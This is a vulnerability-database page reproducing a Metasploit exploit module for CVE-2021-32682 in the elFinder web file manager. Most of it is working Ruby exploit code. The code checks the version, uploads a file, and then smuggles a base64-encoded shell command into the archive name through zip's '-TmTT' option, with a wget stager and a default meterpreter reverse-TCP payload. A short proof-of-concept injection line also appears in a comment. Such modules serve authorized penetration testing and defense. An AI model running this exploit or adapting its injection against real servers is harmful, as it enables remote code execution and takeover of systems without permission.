Lucene search
K

elFinder Archive Command Injection

🗓️ 20 Sep 2021 17:41:46Reported by Thomas Chauchefoin, Shelby PaceType 
metasploit
 metasploit
🔗 www.rapid7.com👁 149 Views

elFinder 2.1.59 command injection vulnerabilit

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'elFinder Archive Command Injection',
        'Description' => %q{
          elFinder versions below 2.1.59 are vulnerable to a command injection
          vulnerability via its archive functionality.

          When creating a new zip archive, the `name` parameter is sanitized
          with the `escapeshellarg()` php function and then passed to the
          `zip` utility. Despite the sanitization, supplying the `-TmTT`
          argument as part of the `name` parameter is still permitted and
          enables the execution of arbitrary commands as the `www-data` user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Thomas Chauchefoin', # Discovery
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-32682' ],
          [ 'URL', 'https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities' ]
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Automatic Target',
            {
              'Platform' => 'linux',
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => [ 'wget' ],
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DisclosureDate' => '2021-06-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )

    register_options([ OptString.new('TARGETURI', [ true, 'The URI of elFinder', '/' ]) ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => upload_uri
    )

    return CheckCode::Unknown('Failed to retrieve a response') unless res
    return CheckCode::Safe('Failed to detect elFinder') unless res.body.include?('["errUnknownCmd"]')

    vprint_status('Attempting to check the changelog for elFinder version')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'Changelog')
    )

    unless res
      return CheckCode::Detected('elFinder is running, but cannot detect version through the changelog')
    end

    # * elFinder (2.1.58)
    vers_str = res.body.match(/\*\s+elFinder\s+\((\d+\.\d+\.\d+)\)/)
    if vers_str.nil? || vers_str.length <= 1
      return CheckCode::Detected('elFinder is running, but couldn\'t retrieve the version')
    end

    version_found = Rex::Version.new(vers_str[1])
    if version_found < Rex::Version.new('2.1.59')
      return CheckCode::Appears("elFinder running version #{vers_str[1]}")
    end

    CheckCode::Safe("Detected elFinder version #{vers_str[1]}, which is not vulnerable")
  end

  def upload_uri
    normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
  end

  def upload_successful?(response)
    unless response
      print_bad('Did not receive a response from elFinder')
      return false
    end

    if response.code != 200 || response.body.include?('error')
      print_bad("Request failed: #{response.body}")
      return false
    end

    unless response.body.include?('added')
      print_bad("Failed to add new file: #{response.body}")
      return false
    end
    json = JSON.parse(response.body)
    if json['added'].empty?
      return false
    end

    true
  end

  alias archive_successful? upload_successful?

  def upload_txt_file(file_name)
    file_data = Rex::Text.rand_text_alpha(8..20)

    data = Rex::MIME::Message.new
    data.add_part('upload', nil, nil, 'form-data; name="cmd"')
    data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
    data.add_part(file_data, 'text/plain', nil, "form-data; name=\"upload[]\"; filename=\"#{file_name}\"")

    print_status("Uploading file #{file_name} to elFinder")
    send_request_cgi(
      'method' => 'POST',
      'uri' => upload_uri,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    )
  end

  def create_archive(archive_name, *files_to_archive)
    files_to_archive = files_to_archive.map { |file_name| "l1_#{Rex::Text.encode_base64(file_name)}" }

    send_request_cgi(
      'method' => 'GET',
      'uri' => upload_uri,
      'encode_params' => false,
      'vars_get' =>
      {
        'cmd' => 'archive',
        'name' => archive_name,
        'target' => 'l1_Lw',
        'type' => 'application/zip',
        'targets[]' => files_to_archive.join('&targets[]=')
      }
    )
  end

  def setup_files_for_sploit
    @txt_file = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
    res = upload_txt_file(@txt_file)
    fail_with(Failure::UnexpectedReply, 'Upload was not successful') unless upload_successful?(res)
    print_good('Text file was successfully uploaded!')

    @archive_name = "#{Rex::Text.rand_text_alpha(5..10)}.zip"
    print_status("Attempting to create archive #{@archive_name}")
    res = create_archive(@archive_name, @txt_file)
    fail_with(Failure::UnexpectedReply, 'Archive was not created') unless archive_successful?(res)
    print_good('Archive was successfully created!')

    register_files_for_cleanup(@txt_file, @archive_name)
  end

  # zip -r9 -q '-TmTT="$(id>out.txt)foooo".zip' './a.zip' './a.txt' - sonarsource blog post
  def execute_command(cmd, _opts = {})
    cmd = "echo #{Rex::Text.encode_base64(cmd)} | base64 -d |sh"
    cmd_arg = "-TmTT=\"$(#{cmd})#{Rex::Text.rand_text_alpha(1..3)}\""
    cmd_arg = cmd_arg.gsub(' ', '${IFS}')

    create_archive(cmd_arg, @archive_name, @txt_file)
  end

  def exploit
    setup_files_for_sploit
    execute_cmdstager(noconcat: true, linemax: 150)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Apr 2026 19:01Current
9High risk
Vulners AI Score9
CVSS 27.5
CVSS 3.19.8
EPSS0.92768
149